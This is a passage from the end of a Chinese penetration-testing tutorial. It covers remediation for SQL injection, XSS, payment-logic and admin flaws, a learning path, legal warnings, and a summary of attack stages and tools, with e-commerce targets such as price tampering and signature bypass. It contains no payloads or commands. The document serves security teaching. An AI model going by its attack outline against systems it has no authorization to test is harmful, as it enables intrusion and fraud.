可上传木马获取服务器权限

信息泄露

🟡 低危

泄露敏感信息辅助进一步攻击


十三、防御与修复建议

13.1 SQL注入修复

  • 使用ORM框架或预编译语句

  • 输入参数严格校验和过滤

  • 最小权限原则(数据库账号权限最小化)

13.2 XSS修复

  • 对输出内容进行HTML转义

  • 使用CSP(内容安全策略)

  • 输入验证和输出编码双重防护

13.3 支付逻辑修复

  • 价格由服务端验证(不信任客户端数据)

  • 签名验证不可绕过

  • 订单状态机严格校验

  • 金额异常告警

13.4 后台安全

  • 强密码策略(字母+数字+符号,8位以上)

  • 验证码机制(防止暴力破解)

  • 登录失败锁定(限制尝试次数)

  • IP白名单访问(仅允许办公网访问)

13.5 服务器安全

  • 及时安装安全补丁

  • 关闭不必要的端口和服务

  • 配置防火墙规则

  • 使用WAF防护

  • PHP配置合理的disable_functions


十四、学习建议

14.1 学习路径

1. 掌握基础:HTML、CSS、JavaScript、PHP/Python
2. 学习Web安全:OWASP Top 10
3. 搭建靶场:DVWA、WebGoat、Vulhub
4. 练习工具:BurpSuite、sqlmap、Nmap
5. 参加CTF:锻炼实战能力
6. 阅读报告:FreeBuf、先知社区的渗透报告

14.2 推荐资源

  • 靶场平台:Vulhub、DVWA、Pikachu

  • 学习社区:FreeBuf、先知社区、FreeBuf公开课

  • 工具文档:各工具的官方文档

  • CTF平台:CTFHub、攻防世界、BUUCTF

  • 字典资源:SecLists (https://github.com/danielmiessler/SecLists)

14.3 法律合规

⚖️ 非常重要!

《中华人民共和国网络安全法》第二十七条规定:

  • 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动

  • 不得提供专门用于从事侵入网络、干扰网络正常功能及窃取网络数据等危害网络安全活动的程序、工具

《刑法》第二百八十二条:

  • 违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役

  • 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金

请务必在合法合规的前提下学习和使用渗透测试技术!


十五、总结

核心知识点回顾

阶段

关键技能

核心工具

环境准备

系统配置、工具安装

Kali Linux、Java、Python

信息收集

IP收集、端口扫描、目录扫描、指纹识别

nmap、dirsearch、dirmap、WhatWeb

系统漏洞扫描

漏洞扫描、漏洞验证

Goby、Nessus、Metasploit、searchsploit

Web漏洞扫描

CMS识别、自动扫描、结果验证

AWVS、xray、ThinkPHPGUI

人工功能测试

被动扫描、逻辑测试、多工具联动

BurpSuite、xray被动模式

漏洞利用

SQL注入、XSS、WebShell

sqlmap、蚁剑、Metasploit

电商系统测试重点

  1. 支付流程:金额篡改、签名绕过、订单状态修改

  2. 用户体系:越权访问、弱口令、验证码绕过

  3. 商品功能:搜索注入、详情篡改、购物车修改

  4. 后台管理:入口发现、弱口令、权限提升

  5. 接口安全:未授权访问、重放攻击、接口滥用

实战经验总结

  1. 工具只是辅助,思路才是核心

  2. 多工具交叉验证,避免误报漏报

  3. 人工测试不可或缺,逻辑漏洞只能靠人

  4. 遵守法律法规,一切测试必须有授权

  5. 持续学习更新,跟进最新漏洞和技术


💡 最后一句话:安全路漫漫,愿我们一起进步!渗透测试是一门实践性极强的技术,光看书没用,必须动手练。搭建靶场、参加CTF、阅读实战报告,循序渐进地提升自己的技术水平!

Logo

电商企业物流数字化转型必备!快递鸟 API 接口,72 小时快速完成物流系统集成。全流程实战1V1指导,营造开放的API技术生态圈。

更多推荐